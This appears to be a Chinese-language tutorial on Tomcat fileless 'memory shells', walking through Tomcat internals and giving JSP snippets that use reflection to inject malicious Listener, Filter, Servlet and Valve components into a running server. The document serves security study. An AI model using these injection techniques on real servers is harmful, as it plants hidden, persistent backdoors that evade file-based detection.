前言
内存马是指一种只在内存中运行,没有文件落地或者运行后能够删除自身的木马
Servlet,Filter,Listener 由 javax.servlet.ServletContext 去加载,在不同的容器中,实现有所不同,这里仅以 Tomcat 为例进行调试
添加配置
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.85</version> </dependency>
|
没这个配置tomcat也能跑但是看不了底层
Tomcat
Tomcat Server大致可以分为三个组件,Service、Connector、Container

其中Server对应就是一个Tomcat实例;Service 默认 只有一个,也就是一个Tomcat实例默认一个Service;
一个Service包含多个Connector和一个Container,不同的Connector连接器,接收不同的连接协议;多个Connector连接器对应一个Container容器
Connector连接器负责外部交流,Container容器负责内部处理。也就是: 连接器处理Socket通信和应用层协议的解析,得到ServletRequest,而容器则负责处理ServletRequest
Tomcat基础
Connector

Connector用于连接Service和Container,解析客户端的请求并转发到Container,以及转发来自Container的响应。每一种不同的Connector都可以处理不同的请求协议,包括HTTP/1.1、HTTP/2、AJP等等。
Container
Tomcat的Container包含四种子容器:Engine、Host、Context和Wrapper,在Tomcat源码中我们可以清晰地看到各容器之间的继承关系

Engine代表引擎,用于管理多个站点(Host)
Context对应的是一个Web应用,而一个WEB应用可以有多个Servlet,对应着Context中可以包含多个Wrapper容器,而一个Wrapper封装着一个Servlet。因此Context可以用来保存一个Web应用中多个Servlet的上下文信息。
Context

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。
Tomcat内存马
Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。
而这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上
如何获取StandardContext
我们想要改变tomcat的状态就必须得获得与底层交互的StandardContext对象
通过获取request对象获取standardContext
通过request对象获取StandardContext
1 2 3 4 5 6
| <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
|
通过ApplicationFilterChain的ThreadLocal (tomcat 789)
1 2 3 4 5 6 7 8 9 10 11
| Field f = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal t = (ThreadLocal) f.get(null);
if (t != null && t.get() != null) { ServletRequest servletRequest = (ServletRequest) t.get(); } ServletContext servletContext = servletRequest.getServletContext(); Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); StandardContext standardContext=(org.apache.catalina.core.StandardContext) contextField.get(servletContext);
|
直接从线程中获取standardContext
从ContextClassLoader获取(限制在于只可用于Tomcat 8 9)
1 2
| WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
|
全版本
https://xz.aliyun.com/t/9914?time__1311=n4%2BxnD0DuDRDci%2BKDsAoxCwbhCYDtiDgGOrYD#toc-8
Listener型
ServletRequestListener非常适合用来作为内存马,如有设置ServletRequestListener,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法
下面以ServletRequestListener为例
StandardContext#startInternal
startInternal方法会在 Tomcat 启动过程中被调用,以确保内部组件的正确启动和配置。为启动 Web 应用程序准备上下文环境,是最先被触发的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| protected synchronized void startInternal() throws LifecycleException { if (ok && !this.listenerStart()) { log.error(sm.getString("standardContext.listenerFail")); ok = false; }
if (ok) { this.checkConstraintsForUncoveredMethods(this.findConstraints()); }
try { Manager manager = this.getManager(); if (manager instanceof Lifecycle) { ((Lifecycle)manager).start(); } } catch (Exception var18) { log.error(sm.getString("standardContext.managerFail"), var18); ok = false; }
if (ok && !this.filterStart()) { log.error(sm.getString("standardContext.filterFail")); ok = false; }
if (ok && !this.loadOnStartup(this.findChildren())) { log.error(sm.getString("standardContext.servletFail")); ok = false; } .....
|
StandardContext#fireRequestInitEvent
在StandardHostValve中调用了StandardContext#fireRequestInitEvent方法,该方法是 Tomcat 在请求初始化阶段触发的事件之一。它负责向所有监听器发送一个 ServletRequestEvent 事件,并初始化所以的监听器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| private String[] applicationListeners = new String[0]; private List<Object> applicationEventListenersList = new CopyOnWriteArrayList();
public boolean listenerStart() { String[] listeners = this.findApplicationListeners(); Object[] results = new Object[listeners.length]; boolean ok = true;
for(int i = 0; i < results.length; ++i) { try { String listener = listeners[i]; results[i] = this.getInstanceManager().newInstance(listener); ......
List<Object> eventListeners = new ArrayList(); Object[] instances = results; int var7 = results.length; int var8; Object lifecycleListener; for(var8 = 0; var8 < var7; ++var8) { lifecycleListener = instances[var8]; if (lifecycleListener instanceof ServletContextAttributeListener || lifecycleListener instanceof ServletRequestAttributeListener || lifecycleListener instanceof ServletRequestListener || lifecycleListener instanceof HttpSessionIdListener || lifecycleListener instanceof HttpSessionAttributeListener) { eventListeners.add(lifecycleListener); } eventListeners.addAll(Arrays.asList(this.getApplicationEventListeners())); this.setApplicationEventListeners(eventListeners.toArray()); public void setApplicationEventListeners(Object[] listeners) { this.applicationEventListenersList.clear(); if (listeners != null && listeners.length > 0) { this.applicationEventListenersList.addAll(Arrays.asList(listeners)); }
}
public boolean fireRequestInitEvent(ServletRequest request) { Object[] instances = this.getApplicationEventListeners(); if (instances != null && instances.length > 0) { ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request); Object[] var4 = instances; int var5 = instances.length;
for(int var6 = 0; var6 < var5; ++var6) { Object instance = var4[var6]; if (instance != null && instance instanceof ServletRequestListener) { ServletRequestListener listener = (ServletRequestListener)instance;
try { listener.requestInitialized(event); } catch (Throwable var10) { ExceptionUtils.handleThrowable(var10); this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), var10); request.setAttribute("javax.servlet.error.exception", var10); return false; } } } }
return true; }
public void addApplicationEventListener(Object listener) { this.applicationEventListenersList.add(listener); }
|
示例
只需要往applicationEventListenersList中加入我们的恶意Listener即可
1 2 3 4 5 6 7 8 9
| <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Shell_Listener shell_Listener = new Shell_Listener(); context.addApplicationEventListener(shell_Listener); %>
|
Filter型
在StandardWrapperValve#invoke()方法中,调用了 filterChain.doFilter,进而调用了this.internalDoFilter
1 2
| ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); filterChain.doFilter(request.getRequest(), response.getResponse());
|
ApplicationFilterChain#internalDoFilter
ApplicationFilterChain 类是 Servlet 容器中过滤器链的核心部分,它负责管理和执行过滤器链中的过滤器。当一个请求到达容器时,容器会将该请求交给 ApplicationFilterChain 处理。
ApplicationFilterChain 的 internalDoFilter 方法负责按照过滤器链的顺序执行每个过滤器的 doFilter 方法,并处理过滤器链的流程控制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| ... private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0]; ... ApplicationFilterConfig(Context context, FilterDef filterDef) ... private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException { if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false".equalsIgnoreCase( filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object[]{req, res, this}; SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal); } else { filter.doFilter(request, response, this); } } ... }
void addFilter(ApplicationFilterConfig filterConfig) { for(ApplicationFilterConfig filter:filters) { if(filter==filterConfig) { return; } } if (n == filters.length) { ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig[n + INCREMENT]; System.arraycopy(filters, 0, newFilters, 0, n); filters = newFilters; } filters[n++] = filterConfig; }
|
ApplicationFilterFactory#createFilterChain
与Listener不同的是,Filter没有直接加入到filters中,而是封装成ApplicationFilterConfig,现在我们来寻找一下 ApplicationFilterChain.filters 属性里的值是怎么产生的。
最上面我们知道了通过 ApplicationFilterFactory.createFilterChain() 方法可以初始化了一个ApplicationFilterChain类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { ... filterChain = new ApplicationFilterChain(); filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); ... String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { ... ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); ...
filterChain.addFilter(filterConfig); } ... return filterChain; }
private int dispatcherMapping = 0; private String[] servletNames = new String[0]; private String[] urlPatterns = new String[0]; private String filterName = null;
private final ContextFilterMaps filterMaps = new ContextFilterMaps();
|
StandardContext#filterStart
可以看出createFilterChain时,根据FilterMap中的信息,从filterConfigs中提取ApplicationFilterConfig,并添加到filterChain中的,接下来看看filterConfigs是怎么创建的
在往上捣,到最开始的StandardContext#filterStart
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();
public boolean filterStart() { boolean ok = true; synchronized(this.filterConfigs) { this.filterConfigs.clear(); Iterator var3 = this.filterDefs.entrySet().iterator(); while(var3.hasNext()) { Map.Entry<String, FilterDef> entry = (Map.Entry)var3.next(); String name = (String)entry.getKey();
try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue()); this.filterConfigs.put(name, filterConfig); }
private transient Filter filter = null; private String filterClass = null; private String filterName = null;
|
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
Shell_Filter filter = new Shell_Filter(); String name = "CommonFilter"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig); %>
|
tomcat 6,7,8 的区别
tomcat 7 与 tomcat 8、9 在 FilterDef 和 FilterMap 这两个类所属的包名不太一样
1 2 3 4 5 6
| tomcat 7: org.apache.catalina.deploy.FilterDef org.apache.catalina.deploy.FilterMap tomcat 8、9: org.apache.tomcat.util.descriptor.web.FilterDef org.apache.tomcat.util.descriptor.web.FilterMap
|
tomcat6中dispatch使用字符串表示的,所以在设置FilterMap的使用直接setDispatcher(“REQUEST”)就行了不用之前的DispatcherType类,所以去掉了filterMap.setDispatcher(DispatcherType.REQUEST.name());
FilterDef 在Tomcat6下面没有filter这个属性,Tomcat6中是通过filterDef的属性filterClass属性作为类名,通过ClassLoader去实例化,所以去掉了filterDef.setFilter(filter);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); standardContext.addFilterMap(filterMap);
final String name="idoaiod"; Filter filter = new myfilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig);
|
servlet
servlet不同于filter,listen,它早在StandardContext#startInternal就被加载了
StandardContext#loadOnStartup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| ..... public boolean loadOnStartup(Container[] children) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap(); Container[] var3 = children; int var4 = children.length;
for(int var5 = 0; var5 < var4; ++var5) { Container child = var3[var5]; Wrapper wrapper = (Wrapper)child; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup >= 0) { Integer key = loadOnStartup; ArrayList<Wrapper> list = (ArrayList)map.get(key); if (list == null) { list = new ArrayList(); map.put(key, list); }
list.add(wrapper); } } Iterator var12 = map.values().iterator();
while(var12.hasNext()) { ArrayList<Wrapper> list = (ArrayList)var12.next(); Iterator var14 = list.iterator();
while(var14.hasNext()) { Wrapper wrapper = (Wrapper)var14.next();
try { wrapper.load();
|
ContextConfig
上面我们已经分析了 StandardContext 是通过Wrapper容器加载Servlet,接下来我们具体分析一下如何构造Wrapper
ContextConfig 类是 Tomcat 的内部类,它实现了 Tomcat 的 LifecycleListener 接口,用于监听 Web 应用程序上下文的生命周期事件。具体而言,ContextConfig 类在应用程序启动时负责读取和解析应用程序的 web.xml 配置文件,并将配置信息应用到应用程序的上下文中。ContextConfig 类会创建和初始化 Servlet 上下文对象,用于管理应用程序的 Servlet。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| public class ContextConfig implements LifecycleListener { .... private void configureContext(WebXml webxml) {
context.setPublicId(webxml.getPublicId()); ... while(var35.hasNext()) { ServletDef servlet = (ServletDef)var35.next(); Wrapper wrapper = this.context.createWrapper(); if (servlet.getLoadOnStartup() != null) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup()); } if (servlet.getEnabled() != null) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String, String> params = servlet.getParameterMap(); var7 = params.entrySet().iterator();
while(var7.hasNext()) { Map.Entry<String, String> entry = (Map.Entry)var7.next(); wrapper.addInitParameter((String)entry.getKey(), (String)entry.getValue()); } ....... wrapper.setServletClass(servlet.getServletClass()); ... wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); var35 = webxml.getServletMappings().entrySet().iterator();
while(var35.hasNext()) { Map.Entry<String, String> entry = (Map.Entry)var35.next(); this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue()); } } } ... }
|
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); <% Wrapper wrapper = standardContext.createWrapper(); String name = servlet.getClass().getSimpleName(); wrapper.setName(name); wrapper.setLoadOnStartup(1); wrapper.setServlet(servlet); wrapper.setServletClass(servlet.getClass().getName()); %> <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/abc", name); %>
|
Valve
上面我们已经介绍了Tomcat的Container的结构,而它的整个调用过程是通过Pipeline-Valve管道进行的
Servlet请求调用过程
把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等 。Valve表示一个处理点,Valve中的invoke方法就是来处理请求的。如StandardWrapperValve#invoke()调用了doFilter,StandardHostValve#invoke()调用了requestInitialized,整个过程是通过连接器CoyoteAdapter中的service方法触发的,它会调用Engine的第一个Valve的invoke方法

Tomcat 中 Pipeline 仅有一个实现类StandardPipeline,存放在 ContainerBase 的 pipeline 属性中,四大组件Engine/Host/Context/Wrapper都有自己的Pipeline,在ContainerBase容器基类定义了,因此只要获取四大组件之一调用add方法即可添加
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <%
Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline(); %> <%
Shell_Valve shell_valve = new Shell_Valve(); pipeline.addValve(shell_valve);
%> <%! class Shell_Valve extends ValveBase { @Override public void invoke(Request request, Response response) ....
|